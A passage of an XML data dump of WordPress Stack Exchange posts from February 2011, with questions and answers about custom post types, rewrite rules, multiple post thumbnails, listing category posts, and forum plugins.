lives and grow up into a more robust CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All personal opinion.&lt;/p&gt;&#xA;" OwnerUserId="3269" LastActivityDate="2011-02-18T05:12:21.197" CommentCount="5" />
  <row Id="9700" PostTypeId="1" CreationDate="2011-02-18T05:24:03.767" Score="2" ViewCount="69" Body="&lt;p&gt;Wordpress is riddled with horrible coding conventions, hacks and it's generally just a messy piece of software that just so happens to be widely used. Don't get me wrong, I love Wordpress, but implementing changes and optimising it can be a bit of a nightmare because it's littered with OOP in some places, procedural coding in other places and uses things like global variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be worth rewriting Wordpress? If I were to use a framework like Codeigniter or Kohana and standardised the way plugins and themes worked, potentially breaking backwards compatibility would others take to it? Are there any legalities surrounding Wordpress even though I am certain it's open source?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would most likely use &lt;a href=&quot;http://backpress.org/&quot; rel=&quot;nofollow&quot;&gt;BackPres&lt;/a&gt;s for some functionality, but rewrite other parts like the blog system and make it less hacky and cleaner. My apologies if this question is on the wrong StackExchange website.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-02-18T05:24:03.767" ClosedDate="2011-02-18T05:29:21.627" Title="Would it be worth rebuilding Wordpress from the ground up?" Tags="&lt;plugins&gt;&lt;url-rewriting&gt;&lt;core&gt;&lt;oop&gt;" CommentCount="1" />
  <row Id="9702" PostTypeId="1" CreationDate="2011-02-18T06:23:57.173" Score="0" ViewCount="84" Body="&lt;p&gt;Suppose for projects, I will have a bunch of WIP (category) posts. Then once it's done I will create a Portfolio post for it. I will want to link this Portfolio post with the WIP (similar to related posts). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I will also want WIP posts of the project to be excluded from my main WIP listing. How can I achieve this effect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In WIP page, I want a listing like &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Project 1&lt;/li&gt;&#xA;&lt;li&gt;Project 2&lt;/li&gt;&#xA;&lt;li&gt;Project 3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Showing only all the incomplete projects. Perhaps, I can have a &quot;discontinued&quot; listing too, but separate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each link will go to the page showing all (WIP) blog posts of a project. How can I achieve this? I am thinking WIP will be a category, do I put the project as a tag? I will want to associate each project with a thumbnail &amp;amp; description too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I am a developer I could code something, but I am new to WordPress so will require guidance.&lt;/p&gt;&#xA;" OwnerUserId="794" LastEditorUserId="194" LastEditorDisplayName="" LastEditDate="2011-04-06T09:48:31.693" LastActivityDate="2011-09-04T01:41:06.047" Title="What Can I do To Achieve this Effect: WIP -&gt; Portfolio" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="9704" PostTypeId="2" ParentId="9702" CreationDate="2011-02-18T07:45:58.433" Score="0" ViewCount="" Body="&lt;p&gt;The way i would go about it is create a custom post type named &quot;porjects&quot;  and use it to post my projects, that way you can easily &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;exclude these posts from the rest of your post.&lt;/li&gt;&#xA;&lt;li&gt;associate thumbnails.&lt;/li&gt;&#xA;&lt;li&gt;associate description.&lt;/li&gt;&#xA;&lt;li&gt;associate ant custom field you want.&lt;/li&gt;&#xA;&lt;li&gt;create sub/child posts to each project. &lt;/li&gt;&#xA;&lt;li&gt;tag with incomplete or discontinued for easy querying and listing.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It just seems alot easier that way, so your best bet is to start of with a custom post type.&#xA;Now if registering a custom post type looks like too much for you,  you can start of with one of the many &quot;custom post type UI&quot; plugins available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-18T07:45:58.433" />
  <row Id="9705" PostTypeId="2" ParentId="9593" CreationDate="2011-02-18T07:55:47.110" Score="0" ViewCount="" Body="&lt;p&gt;As you can see in the rewrite analyzer, &lt;code&gt;/projects/page/2/&lt;/code&gt; sets &lt;code&gt;projects=page&amp;amp;page=/2&lt;/code&gt; instead of &lt;code&gt;pagename=projects&amp;amp;paged=2&lt;/code&gt; as we would like. So you just need to add a rewrite rule for this special case (in the &lt;code&gt;register_projects()&lt;/code&gt; function, after you register your custom post type, would be a good place):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_rewrite_rule( 'projects/page/([0-9]+)/?$', 'index.php?pagename=projects&amp;amp;paged=$matches[1]', 'top' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember to flush your rewrite rules, by visiting the &lt;em&gt;Permalinks&lt;/em&gt; page or by some other way.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-18T07:55:47.110" CommentCount="5" />
  <row Id="9707" PostTypeId="2" ParentId="840" CreationDate="2011-02-18T08:46:32.360" Score="0" ViewCount="" Body="&lt;p&gt;Choose a different category as your default category under Settings &gt; Writing. Then you will be able to delete the category &quot;uncategorised&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1426" LastEditorUserId="1426" LastEditorDisplayName="" LastEditDate="2011-02-21T12:58:05.173" LastActivityDate="2011-02-21T12:58:05.173" CommentCount="2" />
  <row Id="9708" PostTypeId="1" AcceptedAnswerId="9802" CreationDate="2011-02-18T08:58:17.133" Score="2" ViewCount="977" Body="&lt;p&gt;I found a plugin called &lt;a href=&quot;http://wordpress.org/extend/plugins/multiple-post-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;Multiple Post Thumbnails&lt;/a&gt; and followed the directions in getting it set up. Everything shows up correctly in the admin dashboard (i.e. shows two sections to upload two separate thumbnails) but after I set the two thumbnails for each post and view the page which displays those posts, only the first post I set the thumbnails for show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I used in my theme's functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$thumb = new MultiPostThumbnails(&#xA;    array(&#xA;    'label' =&amp;gt; 'Larger Image',&#xA;    'id' =&amp;gt; 'image2',&#xA;    'post_type' =&amp;gt; 'projects'&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is my Projects page which is the page where the posts are displayed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section id=&quot;content&quot;&amp;gt;&#xA;&#xA;        &amp;lt;section id=&quot;projects-list&quot;&amp;gt;&#xA;            &amp;lt;?php&#xA;                $c=0;&#xA;                $i=1;&#xA;&#xA;                $temp = $wp_query;&#xA;                $wp_query = null;&#xA;                $wp_query = new WP_Query();&#xA;                $wp_query-&amp;gt;query('post_type=projects' . '&amp;amp;paged=' . $paged . '&amp;amp;posts_per_page=6');&#xA;&#xA;                while ( $wp_query-&amp;gt;have_posts() ) : $wp_query-&amp;gt;the_post(); $c++;&#xA;            ?&amp;gt;&#xA;&#xA;            &amp;lt;article class=&quot;post&amp;lt;?php if($i%3 == 0) { echo ' right'; }; $i++; ?&amp;gt;&quot; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;section class=&quot;entry&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;?php&#xA;                            if (class_exists('MultiPostThumbnails')&#xA;                            &amp;amp;&amp;amp; MultiPostThumbnails::has_post_thumbnail('projects', 'secondary-image')) :&#xA;                            MultiPostThumbnails::the_post_thumbnail('projects', 'secondary-image');&#xA;                            endif;&#xA;                        ?&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;                &amp;lt;/section&amp;gt;&#xA;                &amp;lt;section class=&quot;description&quot;&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;time class=&quot;post-date&quot; datetime=&quot;&amp;lt;?php the_time('c'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_time('F j, Y'); ?&amp;gt;&amp;lt;/time&amp;gt;&#xA;                &amp;lt;/section&amp;gt;&#xA;            &amp;lt;/article&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;                endwhile; &#xA;                wp_pagenavi();&#xA;                $wp_query = null;&#xA;                $wp_query = $temp;&#xA;                wp_reset_query();&#xA;            ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if( $c &amp;lt; 6 ) : for ($dummy= $c; $dummy &amp;lt; 6; $dummy++) : ?&amp;gt;&#xA;&#xA;                &amp;lt;article class=&quot;post&amp;lt;?php if($i%3 == 0) { echo ' right'; }; $i++; ?&amp;gt;&quot; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;                    &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/images/dummy-post.gif&quot; alt=&quot;Post coming soon!&quot; /&amp;gt;&#xA;                &amp;lt;/article&amp;gt;&#xA;&#xA;                &amp;lt;?php endfor;?&amp;gt;&#xA;&#xA;            &amp;lt;?php endif;?&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;&#xA;        &amp;lt;section id=&quot;map&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url') ?&amp;gt;/images/interactive-map.jpg&quot; alt=&quot;Interactive Map&quot; /&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;&#xA;        &amp;lt;section id=&quot;youtube-subscribe&quot;&amp;gt;&#xA;            &amp;lt;iframe id=&quot;fr&quot; src=&quot;http://www.youtube.com/subscribe_widget?p=mysteryguitarman&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of what the page looks like. Note only &quot;Project 6&quot; has the thumbnail showing (Project 6 was the first post I uploaded a second thumbnail to) when I uploaded second thumbnails for each of those posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/vA8TB.gif&quot; alt=&quot;Projects Page&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have experience with this plugin? Also, would anyone suggest an alternative no-plugin way to achieve the same thing? Basically, I just want to be able to upload two separate thumbnails for each post in the Projects post type so one shows on the home page and another (larger) one shows on the Projects page. An ideal setup would be to have just one large image I upload which gets shown on the Projects page and it would automatically get cropped into a smaller thumbnail which I can then use for the home page. Anyhow, any advice/help would be much appreciated. Thank you for reading this long post!&lt;/p&gt;&#xA;" OwnerUserId="3239" LastEditorUserId="3239" LastEditorDisplayName="" LastEditDate="2011-02-18T09:39:29.180" LastActivityDate="2011-03-25T21:00:29.653" Title="Multiple featured image thumbnails for post types (Multiple Post Thumbnails plugin)" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="9709" PostTypeId="2" ParentId="9346" CreationDate="2011-02-18T09:04:19.437" Score="1" ViewCount="" Body="&lt;p&gt;Changing the URL structure of a post always consists of two parts: writing the new URL in your links, and handling the new structure.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Handling the new structure&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Handling the new structure is easy: because the post name (slug) is enough to identify a post, we can ignore the taxonomy you are using in the URL. In theory you should be able to use any taxonomy, but in practice you can't without some extra tweaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use &lt;code&gt;%category%&lt;/code&gt;, &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/canonical.php&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;redirect_canonical()&lt;/code&gt; function&lt;/a&gt; kicks in and tries to redirect all requests with a term from another taxonomy in the URL to one with the category (because using only one URL for each post will prevent spreading page rank for the same content). You see this when all your URLs seem to go to &lt;code&gt;/uncategorized/[post-name]/&lt;/code&gt;. You can unhook the function entirely, or hook into it and prevent the redirect if it's not needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option would be to use one of your custom taxonomies in the permalink structure. This will prevent &lt;code&gt;redirect_canonical()&lt;/code&gt; from doing anything (until that function is improved to deal with custom taxonomies too), but because of &lt;a href=&quot;http://core.trac.wordpress.org/ticket/12659&quot; rel=&quot;nofollow&quot;&gt;an oversight&lt;/a&gt; in the WP 3.0 version of custom taxonomies, it won't generate hierarchical rewrite rules (this will be fixed in 3.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I tried instead, and what seems to work, is to create a &quot;dummy&quot; rewrite structure, called &lt;code&gt;%anything%&lt;/code&gt;, which matches &lt;code&gt;.+?&lt;/code&gt; (&lt;em&gt;anything, but not greedy&lt;/em&gt;). In this case you should also re-enable the &lt;em&gt;verbose page rules&lt;/em&gt;, because WordPress doesn't notice that something is going on.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'wpse9346_init');&#xA;function wpse9346_init()&#xA;{&#xA;    $GLOBALS['wp_rewrite']-&amp;gt;add_rewrite_tag( '%anything%', '(.+?)', 'wpse9346_dummy=' );&#xA;    $GLOBALS['wp_rewrite']-&amp;gt;use_verbose_page_rules = true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;wpse9346_dummy&lt;/code&gt; parameter is ignored, so it should be rather safe to use this. My rewrite structure now is &lt;code&gt;/%anything%/%postname%/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Writing URLs of the new structure&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is the part where you have to do some thinking: if a post can be tagged with terms from different taxonomies, what taxonomy should we use to create a link to the post? Say we have one taxonomy for countries, and one for government offices. A post about Mubarak would be tagged with &lt;code&gt;Egypt&lt;/code&gt; in one taxonomy and &lt;code&gt;President&lt;/code&gt; in another. Should the post URL be &lt;code&gt;/egypt/mubarak-steps-down/&lt;/code&gt; or &lt;code&gt;/president/mubarak-steps-down/&lt;/code&gt;? Both URLs will work and end up at the same post, but if you use my &lt;code&gt;%anything%&lt;/code&gt; solution from above the permalink will have &lt;code&gt;%anything%&lt;/code&gt; in it, which is of course invalid. So hook into &lt;code&gt;post_link&lt;/code&gt; and modify the URL the way you need it to be.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-18T09:04:19.437" />
  <row Id="9710" PostTypeId="1" CreationDate="2011-02-18T09:05:12.853" Score="1" ViewCount="117" Body="&lt;p&gt;I've created a page with a list of posts from a specific category. I would like to enumerate this list like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;lecture 1: post title 1&lt;/li&gt;&#xA;&lt;li&gt;lecture 2: post title 2&lt;/li&gt;&#xA;&lt;li&gt;lecture 3: post title 3&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3273" LastEditorUserId="3273" LastEditorDisplayName="" LastEditDate="2011-02-18T13:28:22.303" LastActivityDate="2011-08-22T22:33:34.837" Title="How to enumerate a list of posts?" Tags="&lt;page&gt;&lt;list&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="9711" PostTypeId="2" ParentId="9710" CreationDate="2011-02-18T09:10:58.980" Score="0" ViewCount="" Body="&lt;p&gt;Here is what I found in the Codex. Simply replace the category number with the one you are using.  I modified it with the counter you requested.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;global $post;&#xA;$args = array('category' =&amp;gt; 6, 'offset' =&amp;gt; 1, 'numberposts' =&amp;gt; -1, 'order' =&amp;gt; asc, 'exclude' =&amp;gt; '4307,4321');&#xA;$myposts = get_posts($args);&#xA;$counter = 0;&#xA;foreach ($myposts as $post) :  setup_postdata($post);&#xA;?&amp;gt;&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;li class=&quot;paginaIndex-temario&quot;&amp;gt;Lesson # &amp;lt;?php echo $counter++;?&amp;gt; &amp;lt;a&#xA;                href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="413" LastEditorUserId="413" LastEditorDisplayName="" LastEditDate="2011-02-20T05:36:49.427" LastActivityDate="2011-02-20T05:36:49.427" CommentCount="3" />
  <row Id="9712" PostTypeId="2" ParentId="9682" CreationDate="2011-02-18T09:15:25.107" Score="3" ViewCount="" Body="&lt;p&gt;Digging Into WordPress is the best book I bought. I still use it a lot to quickly look things up. Their site is very handy too by the way.&#xA;You also get a lifetime subscription to upcoming (pdf) versions of the book.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-18T09:15:25.107" CommentCount="1" />
  <row Id="9713" PostTypeId="1" CreationDate="2011-02-18T10:51:36.403" Score="2" ViewCount="199" Body="&lt;p&gt;I've been using bbPress for a while and I've noticed some bugs in my fresh installs. This makes me wonder if I should consider to just use WordPress with a forum plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any experience building a bbPress website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you recommend a WordPress plugin to build forums?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-07T23:12:16.083" LastActivityDate="2011-05-07T23:12:16.083" Title="bbPress or WordPress + forum plugin?" Tags="&lt;bbpress&gt;&lt;forum&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="9714" PostTypeId="2" ParentId="9713" CreationDate="2011-02-18T10:57:08.937" Score="1" ViewCount="" Body="&lt;p&gt;I have used &lt;a href=&quot;http://simple-press.com/&quot; rel=&quot;nofollow&quot;&gt;http://simple-press.com/&lt;/a&gt; on a few WordPress sites I have done and its been really good and I haven't had any problems with it. Alot of options, quite robust yet easy to use, it would be the one I would suggest trying.&lt;/p&gt;&#xA;" OwnerUserId="3181" LastActivityDate="2011-02-18T10:57:08.937" />
  <row Id="9715" PostTypeId="1" CreationDate="2011-02-18T10:59:53.150" Score="0" ViewCount="751" Body="&lt;p&gt;I have created custom post type 'Portfolio' also under this post type I have created Portfolio categories with following code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;functions.php - following is the code for custom post type i have defined in functions.php page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function demo_register_post_type() {&#xA;            register_post_type('Portfolio', array(&#xA;                'labels' =&amp;gt; array(&#xA;                    'name' =&amp;gt; __('Portfolio'),&#xA;                    'singular_name' =&amp;gt; __('Portfolio'),&#xA;                    'add_new' =&amp;gt; 'Add New Portfolio',&#xA;                    'edit_item' =&amp;gt; 'Edit Portfolio',&#xA;                    'new_item' =&amp;gt; 'New Portfolio',&#xA;                    'view_item' =&amp;gt; 'View Portfolio',&#xA;                    'search_items' =&amp;gt; 'Search Portfolio',&#xA;                    'not_found' =&amp;gt; 'No Portfolio found',&#xA;                    'not_found_in_trash' =&amp;gt; 'No Portfolio found in Trash',&#xA;                    'show_ui' =&amp;gt; true,&#xA;                    'show_in_menu' =&amp;gt; true,&#xA;                    'capability_type' =&amp;gt; 'post',&#xA;                    'hierarchical' =&amp;gt; false,&#xA;                    'rewrite' =&amp;gt; true,&#xA;                    'query_var' =&amp;gt; true&#xA;                ),&#xA;                'menu_position' =&amp;gt; 6,&#xA;                'public' =&amp;gt; true,&#xA;                'supports' =&amp;gt; array(&#xA;                    'title','editor','author','thumbnail','excerpt','comments','page-attributes'&#xA;                ),&#xA;                'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'portfolio', 'with_front' =&amp;gt; false ),&#xA;                'taxonomy' =&amp;gt; array('category', 'post_tag')&#xA;            ));&#xA;&#xA;        register_taxonomy( 'portfolio-category', 'Portfolio', array ('hierarchical' =&amp;gt; true, 'label' =&amp;gt; __('Portfolio Categories')));  // portfolio categories&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I want to retrieve all the categories from this post type and display posts from the categories on page? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know how could I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3277" LastEditorUserId="3181" LastEditorDisplayName="" LastEditDate="2011-02-18T11:44:04.573" LastActivityDate="2011-05-19T12:51:44.623" Title="Display categories from custom post type" Tags="&lt;custom-post-types&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="9716" PostTypeId="1" CreationDate="2011-02-18T11:14:40.523" Score="1" ViewCount="230" Body="&lt;p&gt;I'm trying to retrieve multidimensional values stored in user_meta where the meta key is my_posts and the meta_value is &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;a:3:{i:0;s:2:&quot;23&quot;;i:1;s:2:&quot;20&quot;;i:2;s:1:&quot;9&quot;;}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Somewhere in the admin page i want to show the sum of the selected posts which are stored in the value above....&lt;/p&gt;&#xA;" LastActivityDate="2011-02-22T16:05:53.117" Title="How to retrieve the value stored in a multi-dimensional array and SUM the entries?" Tags="&lt;customization&gt;&lt;database&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="9717" PostTypeId="1" AcceptedAnswerId="9839" CreationDate="2011-02-18T11:15:40.850" Score="1" ViewCount="166" Body="&lt;p&gt;I just upgraded &lt;a href=&quot;http://wordpress.org/extend/plugins/list-category-posts/&quot; rel=&quot;nofollow&quot;&gt;the List Category Posts plugin&lt;/a&gt; from .17 to .18.3, and it broke my customised template :(.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My setup: WP 3.0.4 multisite network enabled, local installation with MAMP, PHP 5.3.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LCP plugin installed automatically. Works fine with the default template. However, you've rewritten the code such that the template had to be rewritten also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've managed, with a bit of a struggle (not strong in PHP), to tweak the default template and save it as my own customised template, and now it's displaying as I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this needs to be pointed out in documentation accompanying the updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One feature you've added - which I really appreciate - is to allow access to templates either in the parent theme or child theme. Thank you, this is working very well, and the best solution to the problem of whenever we update Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if only I can get the thumbnail to display. :(&lt;/p&gt;&#xA;" OwnerUserId="3010" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-18T12:02:53.310" LastActivityDate="2011-03-21T05:35:59.377" Title="List Category Posts rewrite necessitates rewrite of customised templates" Tags="&lt;plugins&gt;&lt;template&gt;&lt;support&gt;&lt;plugin-list-category-post&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="9718" PostTypeId="1" AcceptedAnswerId="9722" CreationDate="2011-02-18T11:17:11.067" Score="0" ViewCount="225" Body="&lt;p&gt;I can't find the option to hide the page title. Is there some other plugin required to get this functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look in this video &lt;a href=&quot;http://www.youtube.com/watch?v=0Q16NcSm99M&amp;amp;feature=player_embedded&quot; rel=&quot;nofollow&quot;&gt;video&lt;/a&gt; you can see the option to set the page title. I don't have this option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not looking for a code solution here, I need something which will allow end users to hide the title. &lt;/p&gt;&#xA;" OwnerUserId="3280" LastActivityDate="2011-02-18T13:52:02.920" Title="Hide page title in Wordpress 3.0" Tags="&lt;3.0&gt;&lt;page&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="9719" PostTypeId="1" AcceptedAnswerId="9951" CreationDate="2011-02-18T11:23:23.417" Score="0" ViewCount="52" Body="&lt;p&gt;I have recently moved server and upgraded my wordpress install to the latest version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if I try to access /feed, I get a 404. It used to work. /?feed=atom works correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: I fixed it. Virtual host definition had AllowOverrides turned off, so .htaccess was not being picked up. Thanks all for the comments.&lt;/p&gt;&#xA;" OwnerUserId="3281" LastEditorUserId="3281" LastEditorDisplayName="" LastEditDate="2011-02-19T11:10:39.920" LastActivityDate="2011-02-21T10:58:23.277" Title="after server upgrade, if I enable custom permalinks, my /feed stops working" Tags="&lt;feed&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="9720" PostTypeId="2" ParentId="9715" CreationDate="2011-02-18T11:42:37.647" Score="1" ViewCount="" Body="&lt;p&gt;to get the posts of your custom post type you need to query post_type and you can do it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts(array( 'post_type' =&amp;gt; 'Portfolio' )); ?&amp;gt;&#xA;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA; &amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;&#xA; &amp;lt;!-- Display the Title as a link to the Post's permalink. --&amp;gt;&#xA; &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA; &amp;lt;!-- Display the date (November 16th, 2009 format) and a link to other posts by this posts author. --&amp;gt;&#xA; &amp;lt;small&amp;gt;&amp;lt;?php the_time('F jS, Y') ?&amp;gt; by &amp;lt;?php the_author_posts_link() ?&amp;gt;&amp;lt;/small&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;    &amp;lt;?php the_content(); ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;p class=&quot;postmetadata&quot;&amp;gt;Posted in &amp;lt;?php the_category(', '); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA; &amp;lt;/div&amp;gt; &amp;lt;!-- closes the first div box --&amp;gt;&#xA;&#xA; &amp;lt;?php endwhile; else: ?&amp;gt;&#xA; &amp;lt;p&amp;gt;Sorry, no posts matched your criteria.&amp;lt;/p&amp;gt;&#xA; &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now if you want to get Portfolio post of a specific term in your custom taxonamy&#xA;then add the taxonomy argument to the query_posts array like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts(array( 'post_type' =&amp;gt; 'Portfolio','portfolio-category' =&amp;gt; 'category-name' )); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-18T11:42:37.647" />
  <row Id="9721" PostTypeId="2" ParentId="9715" CreationDate="2011-02-18T11:54:03.130" Score="0" ViewCount="" Body="&lt;p&gt;What about using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_terms&quot; rel=&quot;nofollow&quot;&gt;get_terms()&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quick example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = get_terms('portfolio-category');&#xA;&#xA;foreach ( $terms as $term ) {&#xA;   echo $term-&amp;gt;name.'&amp;lt;br /&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3071" LastActivityDate="2011-02-18T11:54:03.130" />
